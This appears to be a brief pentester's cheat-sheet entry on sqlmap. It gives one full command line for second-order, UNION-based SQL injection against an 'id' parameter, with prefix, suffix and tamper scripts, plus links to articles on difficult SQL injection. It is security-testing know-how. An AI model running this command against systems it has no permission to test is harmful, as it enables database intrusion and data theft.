sqlmap

TODO :)

./sqlmap.py \
--force-ssl \
-r req  \
--second-req=req2 \
-p id \
--level 3 \
--risk 1 \
--union-cols=27 \
--prefix="'" \
--suffix="-- a" \
--test-filter="MySQL UNION query ([RANDNUM])" \
--tamper=unionalltounion,hex2char \
--flush-session

References

Sqlmap Tricks for Advanced SQL InjectionTrustwave

http://www.thegreycorner.com/2017/01/exploiting-difficult-sql-injection.htmlwww.thegreycorner.com

https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2019/march/did-you-order-a-sql-injection/www.nccgroup.trust